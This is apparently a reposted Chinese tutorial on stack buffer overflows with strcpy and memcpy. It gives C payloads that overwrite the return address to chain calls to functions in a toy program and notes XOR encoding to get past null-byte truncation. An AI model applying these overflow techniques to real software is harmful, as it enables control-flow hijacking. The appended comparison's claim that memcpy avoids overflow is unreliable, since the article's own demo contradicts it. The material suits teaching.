缓冲区溢出之strcpy和memcpy

本文来自于:FreeBuf.COM

问题:不用嵌入式汇编调用和函数调用,仅仅字符串的操作按顺序调用他们。

这个是今天抛出来的一个问题,似乎有着似曾相识的感觉。想到之前老师用strcpy()溢出实现过三个函数的调用,折回去看了一下之前的思路,然后按照题意进行分析。

方法一:strcpy()函数:易发生\x00截断

strcpy()的文章请查看:Strcpy()函数之缓冲区溢出

1、strcpy溢出原理简述

以下为strcpy()函数溢出的示意图:
即如果将长度较大的值 b 赋值给 较短的值 a(b>a),那么strcpy之后,b多出来将一部分将会覆盖原来的内存单元。当溢出的值刚好覆盖了 函数结束后 ret 返回的地址时,那么函数 ret后将会执行 溢出的值。
拓展:ret函数原理如下:即将栈顶的元素赋给eip,当作下一步执行的地址。

pop eip

在这里插入图片描述
由于我们需要知道函数结束后ret执行的位置。即要知道当执行ret时,程序esp的值,然后在之前将需要的地址准确的覆盖到这个 esp处

2、代码示例及分析

原理讲了这么多,接下来我们用代码来演示一下吧。
代码作用:执行fun1()函数

char *shellcode1="\x64\x65\x66\x67\x68\x69\x70\x71\x0F\x10\x40\x00";

void fun1()
{
	printf("fun1 run!\n");
}

int main(int argc, char* argv[])//
{
    printf("begin\n");
	char a[4]={0};
    strcpy(a,shellcode1);
	return 0;
}

在开始执行main()函数时,如下图,我们发现 esp = 0x0012ff84 ;因此在main()函数正常执行结束后,执行最后一步 ret指令时 esp也是等于 0x12ff84(因为需要堆栈平衡)。因次我们需要执行的程序应该通过溢出而到达 0x12ff84 的位置。

在这里插入图片描述
以下是main函数执行结束后,执行ret指令时 esp的值。与我们才猜想的一样。
在这里插入图片描述
接下来我们应该将shellcode的地址通过溢出而放在 0x12ff84 的位置。
通过对shellcode的不断尝试,(可令shellcdoe="abcdefghij……"的16进制代码),然后观察内存单元中的16进制码,从而确定 在 0x12ff84的字符,然后将字符换成 shellcode的地址,便可在 ret 时进行准确的跳转了。在上图中,我么可以发现 在字符 “rstu” 的位置在 0x12ff84,由于我们需要执行的是fun()函数,因此可以将fun()函数跳转地址存放在 “rstu” 字符的位置。
在这里插入图片描述
如下我们可以发现,在程序中又一个地址专门存放着 jmp 跳转到相应 fun()函数语句的地方。因此,我们可以将相关函数的 jmp 跳转语句的地址放在 上面的字符处。
在这里插入图片描述

3、shellcode的构造

如下,是我们构造的shellcode:

char *shellcode1="\x64\x65\x66\x67\x68\x69\x70\x71“
				”\x0F\x10\x40\x00";//jmp fun1的地址。

以上是将fun1()函数的jmp语句放入栈中,那么其他函数呢?

错误示例:将其余的地址放在shellcode1后面。如下,为构造好的shellcode。

char *shellcode1="\x64\x65\x66\x67\x68\x69\x70\x71“
				”\x0F\x10\x40\x00"//jmp fun1的地址
				”\x05\x10\x40\x00"//jmp fun2的地址
				”\x0A\x10\x40\x00";//jmp fun3的地址

这个是错误的,因为 strcpy()函数在遇到 \x00 字符时将会截断,因此后面的 jmp fun2和 fun3的 跳转语句将无法入栈。(不过在此可以通过xor异或加密,然后解密执行,可以绕过 00截断哦!)

4、最终代码

以下是正确的代码:
可以发现,其实这个方法就是将 strcpy()函数重复使用,从而达到 执行 fun()函数的目的。

#include "stdafx.h"
#include "string.h"

//char *shellcode="abcd"; //不断地尝试abc...可以用来测试定位,哈哈,不过这个是一种笨方法啦
char *shellcode1 = "\x64\x65\x66\x67\x68\x69\x70\x71“
					”\x0F\x10\x40\x00";//jmp fun1()
char *shellcode2 = "\x64\x65\x66\x67\x68\x69\x70\x71“
					”\x05\x10\x40\x00";//jmp fun2()
char *shellcode3 = "\x64\x65\x66\x67\x68\x69\x70\x71“
					”\x0A\x10\x40\x00";//jmp func3()
char *shellcode4 = "\x64\x65\x66\x67\x68\x69\x70\x71“
					”\x49\x14\x40\x00"; //防止报错
/***
\x49\x14\x40\x00地址:这个是在函数正常执行时 ret 跳转的地址。欺骗程序正常执行完成,然后终止程序。
***/

 
void fun1()
{
	char a1[4]={0}; 
	printf("fun1 run!\n");
	strcpy(a1,shellcode2); 
}
void fun2()
{
	char a2[4]={0}; 
   printf("fun2 run!\n");
   strcpy(a2,shellcode3);
}
void fun3()
{
	char a3[4]={0};
	printf("fun3 run!\n");
	strcpy(a3,shellcode4);
}

int main(int argc, char* argv[])
{
    printf("begin\n");
	char a[4]={0};
    strcpy(a,shellcode1);
	return 0;
}

方法二:memcpy函数溢出
1、memcpy函数分析

首先介绍一下memcpy()函数。
参考链接:https://blog.csdn.net/qq_28351609/article/details/84704531

extern void *memcpy(void *dest, void *src, unsigned int count);

用法:#include <string.h>

功能:由src所指内存区域复制count个字节到dest所指内存区域。

说明:src和dest所指内存区域不能重叠,函数返回指向dest的指针
注意:
1.source和destin所指内存区域不能重叠,函数返回指向destin的指针。

2.与strcpy相比,memcpy并不是遇到’\0’就结束,而是一定会拷贝完n个字节。

memcpy用来做内存拷贝,你可以拿它拷贝任何数据类型的对象,可以指定拷贝的数据长度;

memcpy(a,b,n):将b中的n个字符拷贝到a处。但是如果 n>a将会发生溢出。相较于 strcpy() 函数,memcpy函数遇到 \x00 将会继续复制,不发生 00 截断。
如下,memcpy()执行后将会发生溢出。

char a[100], b[50];
memcpy(b, a,sizeof(b)); //注意如用sizeof(a),会造成b的内存地址溢出。
2、构造payload

memcpy()函数在这里的使用实质上就是上面 strcpy()的错误示例,但是由于 strcpy有 \x00 截断,而这个没有,所以便可以构造如下payload:

char shellcode[] ="\x64\x65\x66\x67\x68\x69\x70\x71“
					”\x05\x10\x40\x00“ //jmp fun1
					”\x14\x10\x40\x00“ //jmp fun2
					”\x0F\x10\x40\x00“ //jmp fun3
					”\x49\x14\x40\x00"; //防止报错

3、最终代码
#include "stdafx.h"
#include "string.h"

char shellcode[] =  "\x64\x65\x66\x67\x68\x69\x70\x71“
					”\x05\x10\x40\x00“
					”\x14\x10\x40\x00“
					”\x0F\x10\x40\x00“
					”\x49\x14\x40\x00";
 
void fun1()
{
	printf("fun1 run!\n");
}

void fun2()
{
   printf("fun2 run!\n");
}
void fun3()
{
  printf("fun3 run!\n");
}

//主函数
int main(int argc, char* argv[])
{
    printf("begin\n");
	char a[4]={0};
	//溢出原理:  shellcode长度 > a长度
	memcpy(a, shellcode,sizeof(shellcode));

    return 0;
}

strcpymemcpy是C语言中用于复制内存数据的函数,它们有以下区别: 1. 功能不同: - strcpy函数用于复制字符串,它会将源字符串中的字符逐个复制到目标字符串中,直到遇到字符串结束符'\0'。 - memcpy函数用于复制任意类型的数据,它会将源数据的字节逐个复制到目标数据中,不会考虑字符串结束符。 2. 参数不同: - strcpy函数有两个参数,第一个参数是目标字符串的指针,第二个参数是源字符串的指针。 - memcpy函数有三个参数,第一个参数是目标数据的指针,第二个参数是源数据的指针,第三个参数是要复制的字节数。 3. 安全性不同: - strcpy函数在复制字符串时不会检查目标字符串的长度,如果源字符串比目标字符串长,可能会导致缓冲区溢出的问题。 - memcpy函数在复制数据时需要指定要复制的字节数,可以避免缓冲区溢出的问题。 4. 适用范围不同: - strcpy函数适用于复制字符串,常用于字符串操作。 - memcpy函数适用于复制任意类型的数据,常用于复制结构体、数组等非字符串数据。 下面是一个示例演示了strcpymemcpy的使用: ```c #include <stdio.h> #include <string.h> int main() { char str1[10] = "Hello"; char str2[10]; int arr1[5] = {1, 2, 3, 4, 5}; int arr2[5]; strcpy(str2, str1); memcpy(arr2, arr1, sizeof(arr1)); printf("Copied string: %s\n", str2); printf("Copied array: "); for (int i = 0; i < 5; i++) { printf("%d ", arr2[i]); } printf("\n"); return 0; } ``` 输出结果: ``` Copied string: Hello Copied array: 1 2 3 4 5 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值